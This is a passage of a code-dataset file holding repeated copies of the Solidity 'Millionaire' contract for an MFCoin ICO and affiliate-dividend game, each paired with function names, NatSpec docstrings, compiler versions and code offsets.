if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | splitPot | function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
| /**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
15853,
16189
]
} | 6,962 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = _milFee.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _milFee.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_milFee.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr,converts);
plyr_[_addr].eth = plyr_[_addr].eth.sub(_eth);
milFold_.addPot.value(_eth.sub(_milFee))();
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(address _addr) private
{
uint256 _earnings = calcUnMaskedEarnings(_addr);
if (_earnings > 0) {
plyr_[_addr].mask = globalMask_;
plyr_[_addr].genTotal = plyr_[_addr].genTotal.add(_earnings);
plyr_[_addr].eth = plyr_[_addr].eth.add(_earnings);
} else if (globalMask_ > plyr_[_addr].mask) {
plyr_[_addr].mask = globalMask_;
}
}
/**
* @dev convert eth to coin
* @param _addr user address
* @return return back coins
*/
function buyMFCoins(address _addr, uint256 _eth) private returns(uint256) {
uint256 _coins = calcCoinsReceived(_eth);
mfCoinPool_ = mfCoinPool_.add(_eth);
totalSupply_ = totalSupply_.add(_coins);
balance_[_addr] = balance_[_addr].add(_coins);
emit onBuyMFCoins(_addr, _eth, _coins, now);
return _coins;
}
/**
* @dev sell coin to eth
* @param _coins sell coins
* @return return back eth
*/
function sellMFCoins(uint256 _coins) public {
require(icoEnd_, "ico phase not end");
require(balance_[msg.sender] >= _coins, "coins amount is out of range");
updateGenVault(msg.sender);
uint256 _eth = totalSupply_.ethRec(_coins);
mfCoinPool_ = mfCoinPool_.sub(_eth);
totalSupply_ = totalSupply_.sub(_coins);
balance_[msg.sender] = balance_[msg.sender].sub(_coins);
if (milAuth_.checkGameClosed(address(milFold_))) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
/**
* 10/100 transfer to pot
* 90/100 transfer to owner
*/
uint256 earnAmount = _eth.mul(90).div(100);
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(earnAmount);
milFold_.addPot.value(_eth.sub(earnAmount))();
}
emit onSellMFCoins(msg.sender, earnAmount, _coins, now);
}
/**
* @dev anyone winner of milfold will call this function
* @param _addr winner address
*/
function assign(address _addr)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
plyr_[_addr].eth = plyr_[_addr].eth.add(msg.value);
}
/**
* @dev If unfortunate the game has problem or has no winner at long time, we'll end the game and divide the pot equally among all MF users
*/
function splitPot()
external
payable
{
require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
/**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
/**
* @dev returns player info based on address
* @param _addr address of the player you want to lookup
* @return player ID
* @return player eth balance
* @return player MFCoin
* @return general vault
* @return affiliate vault
*/
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
/**
* @dev give _eth can convert how much MFCoin
* @param _eth eth i will give
* @return MFCoin will return back
*/
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
/**
* @dev returns current eth price for X coins.
* @param _coins number of coins desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
} | getIcoInfo | function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
| /**
* @dev returns ico info
* @return ico end time
* @return already ico summary
* @return ico phase is end
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://19344f09337febac2ce136703d5a2e1deb14f3d31e0b173b4d29c86dd14c2bed | {
"func_code_index": [
16338,
16496
]
} | 6,963 |
|||
Millionaire | Millionaire.sol | 0x98bdbc858822415c626c13267594fbc205182a1f | Solidity | Millionaire | contract Millionaire is MillionaireInterface,Milevents {
using SafeMath for *;
using MFCoinsCalc for uint256;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant private name_ = "Millionaire Official";
uint256 constant private icoRndMax_ = 2 weeks; // ico max period
uint256 private icoEndtime_; // ico end time
uint256 private icoAmount_; // ico eth amount;
uint256 private sequence_; // affiliate id sequence
bool private activated_; // mark contract is activated;
bool private icoEnd_; // is ico ended;
MilFoldInterface public milFold_; // milFold contract
MilAuthInterface constant private milAuth_ = MilAuthInterface(0xf856f6a413f7756FfaF423aa2101b37E2B3aFFD9);
uint256 public globalMask_; // use to calc player gen
uint256 public mfCoinPool_; // MFCoin Pool
uint256 public totalSupply_; // MFCoin current supply
address constant private fundAddr_ = 0xB0c7Dc00E8A74c9dEc8688EFb98CcB2e24584E3B; // foundation address
uint256 constant private REGISTER_FEE = 0.01 ether; // register affiliate fees
uint256 constant private MAX_ICO_AMOUNT = 3000 ether; // max tickets you can buy one time
mapping(address => uint256) private balance_; // player coin balance
mapping(uint256 => address) private plyrAddr_; // (id => address) returns player id by address
mapping(address => Mildatasets.Player) private plyr_; // (addr => data) player data
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready start");
_;
}
/**
* @dev prevents contracts from interacting with Millionare
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 0.1 ether, "must > 0.1 ether");
_;
}
/**
* @dev check sender must be devs
*/
modifier onlyDevs()
{
require(milAuth_.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
/**
* @dev default buy set to ico
*/
function()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
/**
* @dev buy MFCoin use eth in ico phase
*/
function buyICO()
public
isActivated()
isHuman()
isWithinLimits(msg.value)
payable
{
icoCore(msg.value);
}
function icoCore(uint256 _eth) private {
if (icoEnd_) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
} else {
if (block.timestamp > icoEndtime_ || icoAmount_ >= MAX_ICO_AMOUNT) {
plyr_[msg.sender].eth = plyr_[msg.sender].eth.add(_eth);
icoEnd_ = true;
milFold_.activate();
emit onICO(msg.sender, 0, 0, MAX_ICO_AMOUNT, icoEnd_);
} else {
uint256 ethAmount = _eth;
if (ethAmount + icoAmount_ > MAX_ICO_AMOUNT) {
ethAmount = MAX_ICO_AMOUNT.sub(icoAmount_);
plyr_[msg.sender].eth = _eth.sub(ethAmount);
}
icoAmount_ = icoAmount_.add(ethAmount);
uint256 converts = ethAmount.mul(65)/100;
uint256 pot = ethAmount.sub(converts);
//65% of your eth use to convert MFCoin
uint256 buytMf = buyMFCoins(msg.sender, converts);
//35% of your eth use to pot
milFold_.addPot.value(pot)();
if (icoAmount_ >= MAX_ICO_AMOUNT) {
icoEnd_ = true;
milFold_.activate();
}
emit onICO(msg.sender, ethAmount, buytMf, icoAmount_, icoEnd_);
}
}
}
/**
* @dev withdraw all you earnings to your address
*/
function withdraw()
public
isActivated()
isHuman()
{
updateGenVault(msg.sender);
if (plyr_[msg.sender].eth > 0) {
uint256 amount = plyr_[msg.sender].eth;
plyr_[msg.sender].eth = 0;
msg.sender.transfer(amount);
emit onWithdraw(
msg.sender,
amount,
block.timestamp
);
}
}
/**
* @dev register as a affiliate
*/
function registerAff()
public
isHuman()
payable
{
require (msg.value >= REGISTER_FEE, "register affiliate fees must >= 0.01 ether");
require (plyr_[msg.sender].playerID == 0, "you already register!");
plyrAddr_[++sequence_] = msg.sender;
plyr_[msg.sender].playerID = sequence_;
fundAddr_.transfer(msg.value);
emit onNewPlayer(msg.sender,sequence_, block.timestamp);
}
function setMilFold(address _milFoldAddr)
public
onlyDevs
{
require(address(milFold_) == 0, "milFold has been set");
require(_milFoldAddr != 0, "milFold is invalid");
milFold_ = MilFoldInterface(_milFoldAddr);
}
function activate()
public
onlyDevs
{
require(address(milFold_) != 0, "milFold has not been set");
require(activated_ == false, "ICO already activated");
// activate the ico
activated_ = true;
icoEndtime_ = block.timestamp + icoRndMax_;
}
/**
* @dev external contracts interact with Millionare via investing MF Coin
* @param _addr player's address
* @param _affID affiliate ID
* @param _mfCoin eth amount to buy MF Coin
* @param _general eth amount assign to general
*/
function invest(address _addr, uint256 _affID, uint256 _mfCoin, uint256 _general)
external
isActivated()
payable
{
require(milAuth_.checkGameRegiester(msg.sender), "game no register");
require(_mfCoin.add(_general) <= msg.value, "account is insufficient");
if (msg.value > 0) {
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
// if affiliate not exist, assign affiliate to general, i.e. set affiliate to zero
uint256 _affiliate = msg.value.sub(_mfCoin).sub(_general);
if (tmpAffID > 0 && _affiliate > 0) {
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(_affiliate);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(_affiliate);
emit onAffiliatePayout(affAddr, _addr, _affiliate, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = _general.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(_general);
}
updateGenVault(_addr);
buyMFCoins(_addr, _mfCoin);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(address _addr)
private
view
returns(uint256)
{
uint256 diffMask = globalMask_.sub(plyr_[_addr].mask);
if (diffMask > 0) {
return diffMask.mul(balance_[_addr]).div(1 ether);
}
}
/**
* @dev updates masks for round and player when keys are bought
*/
function updateGenVaultAndMask(address _addr, uint256 _affID)
external
payable
{
require(msg.sender == address(milFold_), "no authrity");
if (msg.value > 0) {
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = msg.value.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
plyr_[_addr].laff = _affID;
tmpAffID = _affID;
}
uint256 affAmount = 0;
if (tmpAffID > 0) {
affAmount = msg.value.mul(10).div(80);
address affAddr = plyrAddr_[tmpAffID];
plyr_[affAddr].affTotal = plyr_[affAddr].affTotal.add(affAmount);
plyr_[affAddr].eth = plyr_[affAddr].eth.add(affAmount);
emit onAffiliatePayout(affAddr, _addr, affAmount, block.timestamp);
}
if (totalSupply_ > 0) {
uint256 delta = msg.value.sub(converts).sub(affAmount).mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
} else {
//if nobody hold MFCoin,so nobody get general,it will give foundation
fundAddr_.transfer(msg.value.sub(converts).sub(affAmount));
}
updateGenVault(_addr);
buyMFCoins(_addr, converts);
emit onUpdateGenVault(_addr, balance_[_addr], plyr_[_addr].genTotal, plyr_[_addr].eth);
}
}
/**
* @dev game contract has been paid 20% amount for Millionaire and paid back now
*/
function clearGenVaultAndMask(address _addr, uint256 _affID, uint256 _eth, uint256 _milFee)
external
{
require(msg.sender == address(milFold_), "no authrity");
//check player eth balance is enough pay for
uint256 _earnings = calcUnMaskedEarnings(_addr);
require(plyr_[_addr].eth.add(_earnings) >= _eth, "eth balance not enough");
/**
* 50/80 use to convert MFCoin
* 10/80 use to affiliate
* 20/80 use to general
*/
uint256 converts = _milFee.mul(50).div(80);
uint256 tmpAffID = 0;
if (_affID == 0 || plyrAddr_[_affID] == _addr) {
tmpAffID = plyr_[_addr].laff;
} else if (plyr_[_addr].laff == 0 && plyrAddr_[_affID] != address(0)) {
